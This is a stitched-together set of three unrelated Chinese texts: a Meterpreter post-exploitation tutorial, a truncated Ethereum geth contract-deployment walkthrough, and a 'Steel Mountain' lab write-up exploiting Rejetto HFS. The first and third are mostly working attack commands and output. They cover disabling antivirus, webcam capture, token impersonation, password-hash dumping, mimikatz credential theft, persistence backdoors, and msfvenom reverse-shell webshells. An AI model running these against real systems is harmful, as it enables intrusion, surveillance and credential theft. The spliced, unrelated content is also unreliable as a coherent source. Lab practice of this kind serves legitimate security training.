后渗透攻击
后渗透攻击查看目标机进程meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
264 4 smss.exe x64 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
316 504 svchost.exe x64 0 NT AUTHORITY\LOCAL SERVICE
348 340 csrss.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
400 340 wininit.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe
412 392 csrss.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe
460 392 winlogon.exe x64 1 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe
504 400 services.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe
.................. 进程迁移手动迁移meterpreter > getpid #查看当前进程
Current pid: 1124
meterpreter > migrate 2328 #进程迁移
[*] Migrating from 1124 to 2328...
[*] Migration completed successfully.
meterpreter > getpid #再次查看发现,确认成功迁移
Current pid: 2328
meterpreter > kill 1124 #杀死原来进程
Killing: 1124
[-] 1077: Operation failed: Access is denied.自动迁移meterpreter > run post/windows/manage/migrate信息收集meterpreter > sysinfo #查看系统信息
Computer : BAJI-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > run post/windows/gather/checkvm #检查是否运行在虚拟机上
[*] Checking if BAJI-PC is a Virtual Machine ...
[+] This is a VMware Virtual Machine
meterpreter > idletime #检查是否在运行,并查看最近运行时间
User has been idle for: 9 mins 59 secs
meterpreter > getuid #查看已经渗透成功的用户名
Server username: baji-PC\baji
meterpreter > run post/windows/manage/killav #关闭目标机杀毒软件
[*] No target processes were found.
meterpreter > route #查看网络设置
IPv4 network routes
===================
Subnet Netmask Gateway Metric Interface
------ ------- ------- ------ ---------
0.0.0.0 0.0.0.0 192.168.160.2 10 11
127.0.0.0 255.0.0.0 127.0.0.1 306 1
127.0.0.1 255.255.255.255 127.0.0.1 306 1
127.255.255.255 255.255.255.255 127.0.0.1 306 1
192.168.160.0 255.255.255.0 192.168.160.132 266 11
192.168.160.132 255.255.255.255 192.168.160.132 266 11
192.168.160.255 255.255.255.255 192.168.160.132 266 11
224.0.0.0 240.0.0.0 127.0.0.1 306 1
224.0.0.0 240.0.0.0 192.168.160.132 266 11
255.255.255.255 255.255.255.255 127.0.0.1 306 1
255.255.255.255 255.255.255.255 192.168.160.132 266 11
No IPv6 routes were found.
meterpreter > run post/windows/gather/enum_logged_on_users #查看当前登录用户信息
[*] Running against session 1
Current Logged Users
====================
SID User
--- ----
S-1-5-21-1722394881-3080478103-2565725322-1001 baji-PC\baji
[+] Results saved in: /home/zhiji/.msf4/loot/20210212153318_default_192.168.160.132_host.users.activ_894639.txt
Recently Logged Users
=====================
SID Profile Path
--- ------------
S-1-5-18 %systemroot%\system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-1722394881-3080478103-2565725322-1001 C:\Users\baji
meterpreter > run post/windows/gather/enum_applications #查看当前运行的app应用程序
[*] Enumerating applications installed on BAJI-PC
Installed Applications
======================
Name Version
---- -------
Google Chrome 88.0.4324.150
Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.20.27508 14.20.27508.1
Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.20.27508 14.20.27508.1
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.20.27508 14.20.27508
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.20.27508 14.20.27508
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.20.27508 14.20.27508
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.20.27508 14.20.27508
Mozilla Firefox 85.0.1 (x86 zh-CN) 85.0.1
Mozilla Maintenance Service 85.0.1
VMware Tools 11.0.0.14549434
phpstudy集成环境 8.1.1.2
[+] Results stored in: /home/zhiji/.msf4/loot/20210212153406_default_192.168.160.132_host.application_671096.txt
meterpreter > run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户和密码
[*] Running against BAJI-PC on session 1
[*] The Host BAJI-PC is not configured to have AutoLogon password
meterpreter > load espia #加载Espia插件
Loading extension espia...Success.
meterpreter > screengrab #抓取当前屏幕截图
Screenshot saved to: /home/zhiji/桌面/AaCPrqTV.jpeg #路径
meterpreter > screenshot #也可抓取当前屏幕截图
Screenshot saved to: /home/zhiji/桌面/RTEXARvH.jpeg #路径
meterpreter > wbcam_list #查看目标机有没有摄像头
meterpreter > wbcam_snap #打开目标机摄像头并拍张照
meterpreter > wbcam_stream #开启直播模式
meterpreter > shell #进shell,exit命令退出
Process 2380 created.
Channel 2 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\system32>路由跳转设置meterpreter > run get_local_subnets #查看目标机子网
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.160.0/255.255.255.0
meterpreter > run autoroute -s 192.168.160.0/24 #添加路由
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...] [*] Adding a route to 192.168.160.0/255.255.255.0...
[+] Added route to 192.168.160.0/255.255.255.0 via 192.168.160.132 [*] Use the -p option to list all active routes
meterpreter > run autoroute -p #查看路由是否添加成功
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute. [!] Example: run post/multi/manage/autoroute OPTION=value [...] Active Routing Table
==================== Subnet Netmask Gateway
------ ------- -------
192.168.160.0 255.255.255.0 Session 1文件命令pwd #查看当前处于目标机的那个目录
getlwd #查看当前本地目录
ls #列出所有目录
cd #切换目录
search -f*.txt -d c:\ #搜索C盘中所有的.txt文件
download c:\aa.txt /root #下载目标机1.txt到攻击机root目录下
upload /root/1.txt c:\ #上传文件到c提权通过本地溢出漏洞提权1、先通过getsystem命令提权,结果失败meterpreter > getsystem
[-] 2001: Operation failed: This function is not supported on this system. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)2、利用WMIC命令列出已安装的补丁(这些输出的结果不能直接被利用的,使用的方式是去找提权的EXP,使用没有下列编号的EXP进行提权)C:\Users\baji\Desktop>Wmic qfe get Caption,Description,HotFixID,InstalledOn
Wmic qfe get Caption,Description,HotFixID,InstalledOn
Caption Description HotFixID InstalledOn
http://support.microsoft.com/?kbid=2534111 Hotfix KB2534111 1/4/2021
http://support.microsoft.com/?kbid=2999226 Update KB2999226 1/4/2021
http://support.microsoft.com/?kbid=976902 Update KB976902 11/21/2010 3、首先把meterpreter转为后台执行,然后搜索提权的EXP漏洞,这里用MS16_032举例seach ms16_032
use 1 #1:可用模块id
set session 1 #指定服务id
run
getuid #查看当前权限令牌窃取提权meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u #列出可用的token
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
baji-PC\Administrator
NT AUTHORITY\SYSTEM
Impersonation Tokens Available
========================================
No tokens available
meterpreter > impersonate_token baji-PC\\Administrator #冒充上面的用户登录,注意这里主机名和用户名间是两反斜杠\\
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user baji-PC\Administrator
meterpreter > shell
Process 2152 created.
Channel 2 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Users\Administrator\Desktop>whoami #查看当前用户
whoami
baji-pc\administrator
C:\Users\Administrator\Desktop>Hash攻击hashdump使用hashdump抓取密码,hashdump meterpreter脚本可以从目标机提取hash值,破解hash值就可获得登录密码meterpreter > getsystem #在上面的提权后就可以使用这一命令进一步提权了
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > hashdump #hashdump命令的执行必须要system权限,并且目标机没有开启UAC
[-] 2007: Operation failed: The parameter is incorrect.面对上面的问题这里我们使用另一个更加强大的模块smart_hashdump,不仅可以导出所有用户的hash,而且可以绕过UACmeterpreter > run windows/gather/smart_hashdump
[*] Running module against BAJI-PC
[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password file format to:
[*] /home/zhiji/.msf4/loot/20210213214048_default_192.168.160.132_windows.hashes_515778.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY be81bb778283c994c7c2ebafd8f51b04...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[+] baji:"1"
[*] Dumping password hashes...
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:69943c5e63b4d2c104dbbcc15138b72b:::
[+] baji:1001:aad3b435b51404eeaad3b435b51404ee:69943c5e63b4d2c104dbbcc15138b72b:::
[+] HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:59c8c6d121b9a6b2cc21bade49bfe630:::
meterpreter > kiwi使用kiwi抓取密码-------旧版本的mimikatz已被该模块取代,该模块更加强大kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。meterpreter > getpid #我的目标机是64位,所以先迁移一下进程
Current pid: 2336
meterpreter > migrate 2528
[*] Migrating from 2336 to 2528...
[*] Migration completed successfully.
meterpreter > getpid #迁移成功
Current pid: 2528
meterpreter > load mimikatz #加载mimikatz模块,这里提示我已被wiki取代请以后都用wiki(手动狗头)
[!] The "mimikatz" extension has been replaced by "kiwi". Please use this in future.
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
meterpreter > help kiwi #查看帮助
Kiwi Commands
=============
Command Description
------- -----------
creds_all #列举所有凭据/所有的系统密码
creds_kerberos #列举所有kerberos凭据
creds_msv #列举所有msv凭据
creds_ssp #列举所有ssp凭据
creds_tspkg #列举所有tspkg凭据
creds_wdigest #列举所有wdigest凭据
dcsync #通过DCSync检索用户帐户信息
dcsync_ntlm #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create #创建黄金票据
kerberos_ticket_list #列举kerberos票据
kerberos_ticket_purge #清除kerberos票据
kerberos_ticket_use #使用kerberos票据
kiwi_cmd #kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令
lsa_dump_sam #dump出lsa的SAM
lsa_dump_secrets #dump出lsa的密文
password_change #修改密码
wifi_list #列出当前用户的wifi配置文件
wifi_list_shared #列出共享wifi配置文件/编码后门persistence后门persistence是一款使用安装自启动方式的持久性后门程序,可以利用它创建注册和文件。启动时会触发杀毒软件,建议运行时关闭杀毒软件run persistence -A -S -u -i 60 -P 4321 -r 192.168.160.132
A #自动启动payload程序
S #系统启动时自动加载
U #用户登录时自动启动
X #机时自动挂载
i #连时的时间间隔
P #听反向连接端口号
r #标机器IP地址
sessions #查看已经成功获取的会话web后门1、meterpreter后门metasploit中,有一个名为PHP Meterpreter的payload,利用该模块可以创建具有meterpreter功能PHP Webshell使用msfvrenom工具制作webshell.php msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.160.129 -f raw > /1.php
-p用于参与payload -f用于设置输出文件格式将1.php上传到目标服务器,这里直接复制到/var/www/html目录下接着启动msfconsole,使用以下命令设置监听use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.160.129
run目标机访问http://127.0.0.1/1.php,反弹成功2、aspx meterpreter后门metasploit下名为shell_reverse_tcp的payload,利用这个模块可创建具有meterpreter功能的各版本webshellshow payloads
use windows/shell_reverse_tcp
info
set lhost 192.168.160.129
set lport 4444
savagenerate -t asp //生成asp版的shellcode
generate -t aspx //生成aspx版的shellcode先把内容保存为aspx.aspx,再上传到目标服务器,然后启动msfconsoleuse expoloit/mulit/handler
set payload windows/meterpreter/reversr_tcp
set Lhost 192.168.160.120
set lport 4444
run反弹成功
浅谈智能合约区块链DAPP系统开发技术介绍丨去中心化Dapp项目开发技术流程
智能合约实例接下来我们将使用geth的控制台开发一个简单的智能合约并编译部署在私链上,最后与之交互。完成这些后,我们就能对智能合约的运行机制理解得更加深刻。本例子结合了汪晓明关于以太坊的开发的演示视频和以太坊项目有关交易和合约的wiki。打开测试网络的控制台输入以下命令:geth --datadir "~/ethdev" --dev console 2>> geth.log1显示如下:zcc@ubuntu:~$ geth --datadir "~/ethdev" --dev console 2>> geth.logWelcome to the Geth JavaScript console!instance: Geth/v1.4.18-stable/linux/go1.6.2coinbase: 0xb005804a49e73acb17d1e7645dfd0a33dde6eb0eat block: 217 (Tue, 01 Nov 2016 05:21:38 PDT) datadir: /home/zcc/ethdev modules: admin:1.0 debug:1.0 eth:1.0 miner:1.0 net:1.0 personal:1.0 rpc:1.0 shh:1.0 txpool:1.0 web3:1.0这样我们就打开了测试网的控制台,之后的步骤如无特别说明都将在控制台中完成。检查编译器我们接下来的智能合约的例子是使用solidity语言开发的。因此,至此之前我们要确保solidity编译器已经正确安装了。输入以下命令检查:eth.getCompilers()["Solidity"]12我们发现solidity的编译器已经正确安装了。如果返回值为空数组,那么输入以下命令安装:sudo add-apt-repository ppa:ethereum/ethereumsudo apt-get updatesudo apt-get install solc123如果输入第一条命令的时候返回错误,请尝试重启系统。编写智能合约我们编写一个求解与7相乘结果的函数,即输入一个值a,返回a*7的值。source = "contract test { function multiply(uint a) returns(uint d) { return a * 7; }}""contract test { function multiply(uint a) returns(uint d) { return a * 7; }}"12编译智能合约contract = eth.compile.solidity(source).test{ code: "0x606060405260388060106000396000f3606060405260e060020a6000350463c6888fa18114601c575b6002565b3460025760076004350260408051918252519081900360200190f3", info: {abiDefinition: [{
constant: false,
inputs: [...],
name: "multiply",
outputs: [...],
payable: false,
type: "function"
}],
compilerOptions: "--bin --abi --userdoc --devdoc --add-std --optimize -o /tmp/solc359648392",
compilerVersion: "0.4.3",
developerDoc: {
methods: {}
},
language: "Solidity",
languageVersion: "0.4.3",
source: "contract test { function multiply(uint a) returns(uint d) { return a * 7; }}",
userDoc: {
methods: {}
}}}准备一个创建合约的账户在以太坊上创建智能合约就是使用一个外部账户(EOA)向区块链中发送一个交易。因此,我们需要准备一个有余额并被激活的以太坊外部账户。查看是否有可用账户:personal.listAccounts[]返回为空,说明没有可用账户。创建一个外部账户:personal.newAccount('123456')"0x62b1746767522b36f6421e630fa0198151d72964"注意:personal.newAccount()函数里的参数是账号密码,返回值是创建的新账号地址。这个时候,我们再次使用personal.listAccounts命令查看可用账户:personal.listAccounts["0x62b1746767522b36f6421e630fa0198151d72964"]我们看到函数返回值为一个数组,数组目前只有一个元素,就是我们刚才创建的账号。我们查看一下刚才创建的账户余额:web3.eth.getBalance(personal.listAccounts[0])返回值为0,说明新创建的账户没有以太币。这个时候我们就可以开启挖矿来获得以太币。首先开启挖矿:miner.start()true为了检测挖矿的状态,我们可以再另开起一个终端用于检测挖矿的状态。在新开起的终端中输入以下命令实时显示挖矿的状态:tail -f geth.log这样我们就能看到如下所示的挖矿状态:zcc@ubuntu:~$ tail -f geth.logI1102 10:10:21.382666 eth/backend.go:201] Blockchain DB Version: 3I1102 10:10:21.382691 eth/backend.go:226] ethash used in test modeI1102 10:10:21.384471 core/blockchain.go:214] Last header: #219 [7a2335e9…] TD=28838912I1102 10:10:21.384501 core/blockchain.go:215] Last block: #219 [7a2335e9…] TD=28838912I1102 10:10:21.384507 core/blockchain.go:216] Fast block: #219 [7a2335e9…] TD=28838912I1102 10:10:21.389663 p2p/server.go:313] Starting ServerI1102 10:10:23.428074 p2p/discover/udp.go:217] Listening, enode://c7afa32e281c06bb529b9c0f0d9537ab4386cac1b2ba7de6bd777bdb15e3b7d0cbd260fc57f82b8f33b0c0ff83772b7d4da7c68017f8e05a2c08c77754d6ed62@[::]:39428I1102 10:10:23.429805 whisper/whisper.go:176] Whisper startedI1102 10:10:23.439973 p2p/server.go:556] Listening on [::]:46364I1102 10:10:23.440985 node/node.go:296] IPC endpoint opened: /home/zcc/ethdev/geth.ipcI1102 10:13:11.541025 miner/miner.go:119] Starting mining operation (CPU=1 TOT=2)I1102 10:13:11.541389 miner/worker.go:539] commit new work on block 220 with 0 txs & 0 uncles. Took 196.057µsI1102 10:13:11.541464 ethash.go:259] Generating DAG for epoch 0 (size 32768) (0000000000000000000000000000000000000000000000000000000000000000)I1102 10:13:11.541625 ethash.go:291] Generating DAG: 0%I1102 10:13:11.541678 ethash.go:291] Generating DAG: 1%I1102 10:13:11.541716 ethash.go:291] Generating DAG: 2%I1102 10:13:11.541751 ethash.go:291] Generating DAG: 3%I1102 10:13:11.541787 ethash.go:291] Generating DAG: 4%I1102 10:13:11.541822 ethash.go:291] Generating DAG: 5%...I1102 10:13:11.547403 ethash.go:291] Generating DAG: 95%I1102 10:13:11.547450 ethash.go:291] Generating DAG: 96%I1102 10:13:11.547497 ethash.go:291] Generating DAG: 97%I1102 10:13:11.547543 ethash.go:291] Generating DAG: 98%I1102 10:13:11.547590 ethash.go:291] Generating DAG: 99%I1102 10:13:11.547646 ethash.go:291] Generating DAG: 100%I1102 10:13:11.547691 ethash.go:276] Done generating DAG for epoch 0, it took 6.229048msI1102 10:13:11.548248 eth/backend.go:454] Automatic pregeneration of ethash DAG ON (ethash dir: /home/zcc/.ethash)I1102 10:13:11.548375 eth/backend.go:461] checking DAG (ethash dir: /home/zcc/.ethash)I1102 10:13:24.938687 miner/worker.go:342] �� Mined block (#220 / 1fdebe6d). Wait 5 blocks for confirmationI1102 10:13:24.938953 miner/worker.go:539] commit new work on block 221 with 0 txs & 0 uncles. Took 86.067µsI1102 10:13:24.939156 miner/worker.go:539] commit new work on block 221 with 0 txs & 0 uncles. Took 66.063µsI1102 10:13:29.874128 miner/worker.go:342] �� Mined block (#221 / ff995b19). Wait 5 blocks for confirmation因为我之前已经挖过矿了,所以可以看到现在开始挖的区块编号为220。再次使用web3.eth.getBalance(personal.listAccounts[0])命令来查看新建立的账号的余额:web3.eth.getBalance(personal.listAccounts[0])65000000000000000000这时我们看到当前账户余额为6.5e19wei,即65ether。我们可以参看Denominations来互相转换以太币的几种单位。至此,用于创建合约的外部账户已经准备完毕。指定创建合约的外部账户我们首先需要从当前的账户里选择一个作为创建智能合约的外部账户:address = eth.accounts[0]"0x62b1746767522b36f6421e630fa0198151d72964"12然后将该账户激活:personal.unlockAccount(address)Unlock account 0x62b1746767522b36f6421e630fa0198151d72964Passphrase: true我们在使用personal.unlockAccount()函数的时候,可以选择指定一个解锁时间(以秒为单位),超出这个时间后会自动上锁。如果不指定的话,那么用户的账户就会在一定时间后自动上锁。例如:personal.unlockAccount(address,'123456',10000)truepersonal.unlockAccount()函数里第一个参数是要解锁的账户,第二个参数是账号密码,第三个是需要解锁的时间。在这个例子中,我们设定在10000秒内账户都处于激活状态。设定账号的解锁时间是个好方式,尤其是之后我们需要使用这个账号再次进行交易操作时,这样就省去了再次解锁账号的麻烦。不过,解锁时间不应设定过长,否则可能有安全隐患。部署合约部署合约就是将编译好的合约字节码通过外部账号发送交易的形式部署到以太坊区块链上。输入以下命令:abi = [{constant:false,inputs:{name:'a',type:'uint256'}}][{constant: false,
inputs: {
name: "a",
type: "uint256"
}}]MyContract = eth.contract(abi){ abi: [{ constant: false,
inputs: {
name: "a",
type: "uint256"
}}], eth: {accounts: ["0x62b1746767522b36f6421e630fa0198151d72964"],
blockNumber: 292,
coinbase: "0x62b1746767522b36f6421e630fa0198151d72964",
compile: {
lll: function(),
serpent: function(),
solidity: function()
},
defaultAccount: undefined,
defaultBlock: "latest",
gasPrice: 20000000000,
hashrate: 3498,
mining: true,
pendingTransactions: [],
syncing: false,
call: function(),
contract: function(abi),
estimateGas: function(),
filter: function(fil, callback),
getAccounts: function(callback),
getBalance: function(),
getBlock: function(),
getBlockNumber: function(callback),
getBlockTransactionCount: function(),
getBlockUncleCount: function(),
getCode: function(),
getCoinbase: function(callback),
getCompilers: function(),
getGasPrice: function(callback),
getHashrate: function(callback),
getMining: function(callback),
getNatSpec: function(),
getPendingTransactions: function(callback),
getStorageAt: function(),
getSyncing: function(callback),
getTransaction: function(),
getTransactionCount: function(),
getTransactionFromBlock: function(),
getTransactionReceipt: function(),
getUncle: function(),
getWork: function(),
iban: function(iban),
icapNamereg: function(),
isSyncing: function(callback),
namereg: function(),
resend: function(),
sendIBANTransaction: function(),
sendRawTransaction: function(),
sendTransaction: function(),
sign: function(),
signTransaction: function(),
submitTransaction: function(),
submitWork: function()}, at: function(address, callback), getData: function(), new: function()}myContract = MyContract.new({from:address,data:contract.code}){ abi: [{ constant: false,
inputs: {
name: "a",
type: "uint256"
}}], address: undefined, transactionHash: "0xd10602e2099ab5873c762f070eb90a9fd559270484fbcebd4170d441848b9232"}这时,我们可以检查一下交易池,查看当前交易的待处理状况:txpool.status{ pending: 1, queued: 0}我们可以看到当前的交易池中有一个交易正在等待确认。然后,我们查看待确认交易的详细内容:eth.getBlock("pending",true).transactions[{blockHash: "0x0299731121321b817206fb07187f94cd4537e3196e940b45e95b4e1709aadbf4",
blockNumber: 294,
from: "0x62b1746767522b36f6421e630fa0198151d72964",
gas: 90000,
gasPrice: 20000000000,
hash: "0xd10602e2099ab5873c762f070eb90a9fd559270484fbcebd4170d441848b9232",
input: "0x606060405260388060106000396000f3606060405260e060020a6000350463c6888fa18114601c575b6002565b3460025760076004350260408051918252519081900360200190f3",
nonce: 0,
to: null,
transactionIndex: 0,
value: 0}]我们从显示出来的结果可以看出当前交易的一些内容。例如,from数据项就是我们发送交易的地址,input就是合约编译完成的字节码,这些内容均与我们之前的设定相同。而且,我们可以看到新的交易创建在第294号区块中。与此同时,我们也可以查看一下刚才在新的终端中创建的挖矿日志。我们在日志中找到这样的一行信息:I1102 11:37:46.573298 eth/api.go:1183] Tx(0xd10602e2099ab5873c762f070eb90a9fd559270484fbcebd4170d441848b9232) created: 0x115ced3f8b7ea92d324902e3a3a421a07540eb2b1这说明交易已经发送到区块链中了,正在等待矿工的确认。
【靶机】Windows渗透初体验-Steel Mountain
Steel Mountain前言bilibili:Zacarxwww.zacarx.com信息收集nmap -p- -A IP
80,8080
#扫描端口,发现8080,看到其服务为HttpFileServer 2.3┌──(zacarx㉿zacarx)-[~]
└─$ dirb http://10.10.120.68/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Oct 26 14:07:07 2022
URL_BASE: http://10.10.120.68/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.120.68/ ----
==> DIRECTORY: http://10.10.120.68/img/
+ http://10.10.120.68/index.html (CODE:200|SIZE:772)
---- Entering directory: http://10.10.120.68/img/ ----
...┌──(zacarx㉿zacarx)-[~]
└─$ searchsploit HttpFileServer 2.3
------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------ ---------------------------------
Rejetto HttpFileServer 2.3.x - Remote Command Execution (3) | windows/webapps/49125.py
------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
...
┌──(zacarx㉿zacarx)-[~]
└─$ searchsploit -p 49125
Exploit: Rejetto HttpFileServer 2.3.x - Remote Command Execution (3)
URL: https://www.exploit-db.com/exploits/49125
Path: /usr/share/exploitdb/exploits/windows/webapps/49125.py
File Type: Python script, Unicode text, UTF-8 text executable
.......漏洞利用msf6 > search HttpFileServer 2.3
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/http/rejetto_hfs_exec 2014-09-11 excellent Yes Rejetto HttpFileServer Remote Command Execution
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > show options
Module options (exploit/windows/http/rejetto_hfs_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 no Seconds to wait before terminating web server
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machin
e or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The path of the web application
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.0.107 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(windows/http/rejetto_hfs_exec) > set rhosts 10.10.120.68
rhosts => 10.10.120.68
msf6 exploit(windows/http/rejetto_hfs_exec) > set rport 8080
rport => 8080
msf6 exploit(windows/http/rejetto_hfs_exec) > set Lhost 10.17.0.91
Lhost => 10.17.0.91
msf6 exploit(windows/http/rejetto_hfs_exec) > run
[*] Started reverse TCP handler on 10.17.0.91:4444
[*] Using URL: http://10.17.0.91:8080/rO38EVW
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /rO38EVW
[*] Sending stage (175686 bytes) to 10.10.120.68
sessions 1
^C[*] Server stopped.
[!] This exploit may require manual cleanup of '%TEMP%\YcIgpZ.vbs' on the target
[*] Exploit completed, but no session was created.
msf6 exploit(windows/http/rejetto_hfs_exec) > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : STEELMOUNTAIN
OS : Windows 2012 R2 (6.3 Build 9600).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter > getuid
Server username: STEELMOUNTAIN\bill
meterpreter > cd C:\\
meterpreter > ls
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2019-09-26 22:11:25 +0800 $Recycle.Bin
100666/rw-rw-rw- 1 fil 2013-06-18 20:18:29 +0800 BOOTNXT
040777/rwxrwxrwx 0 dir 2013-08-22 22:48:41 +0800 Documents and Settings
100666/rw-rw-rw- 3162859 fil 2020-10-13 03:06:12 +0800 EC2-Windows-Launch.zip
040777/rwxrwxrwx 0 dir 2013-08-22 23:52:33 +0800 PerfLogs
040555/r-xr-xr-x 4096 dir 2019-09-30 08:42:46 +0800 Program Files
040777/rwxrwxrwx 4096 dir 2019-09-30 08:46:20 +0800 Program Files (x86)
040777/rwxrwxrwx 4096 dir 2019-09-30 08:47:36 +0800 ProgramData
040777/rwxrwxrwx 0 dir 2019-09-26 22:04:30 +0800 System Volume Information
040555/r-xr-xr-x 4096 dir 2019-09-27 14:29:03 +0800 Users
040777/rwxrwxrwx 24576 dir 2020-10-13 03:09:13 +0800 Windows
100444/r--r--r-- 398356 fil 2014-03-22 02:49:49 +0800 bootmgr
040777/rwxrwxrwx 0 dir 2019-09-26 22:17:28 +0800 inetpub
100666/rw-rw-rw- 13182 fil 2020-10-13 03:06:12 +0800 install.ps1
000000/--------- 0 fif 1970-01-01 08:00:00 +0800 pagefile.sys
meterpreter > cd Users
meterpreter > ls
Listing: C:\Users
=================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 8192 dir 2019-09-26 22:11:25 +0800 Administrator
040777/rwxrwxrwx 0 dir 2013-08-22 22:48:41 +0800 All Users
040555/r-xr-xr-x 8192 dir 2014-03-22 03:18:16 +0800 Default
040777/rwxrwxrwx 0 dir 2013-08-22 22:48:41 +0800 Default User
040555/r-xr-xr-x 4096 dir 2013-08-22 23:39:32 +0800 Public
040777/rwxrwxrwx 8192 dir 2019-09-28 00:09:05 +0800 bill
100666/rw-rw-rw- 174 fil 2013-08-22 23:37:57 +0800 desktop.ini
meterpreter > cd ./bill
meterpreter > ls
Listing: C:\Users\bill
======================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2019-09-27 14:29:24 +0800 .groovy
040777/rwxrwxrwx 0 dir 2019-09-27 14:29:03 +0800 AppData
040777/rwxrwxrwx 0 dir 2019-09-27 14:29:03 +0800 Application Data
040555/r-xr-xr-x 0 dir 2019-09-27 19:07:07 +0800 Contacts
040777/rwxrwxrwx 0 dir 2019-09-27 14:29:03 +0800 Cookies
040555/r-xr-xr-x 0 dir 2019-09-28 00:08:24 +0800 Desktop
040555/r-xr-xr-x 4096 dir 2019-09-27 19:07:07 +0800 Documents
040555/r-xr-xr-x 0 dir 2019-09-27 19:07:07 +0800 Downloads
040555/r-xr-xr-x 0 dir 2019-09-27 19:07:07 +0800 Favorites
040555/r-xr-xr-x 0 dir 2019-09-27 19:07:07 +0800 Links
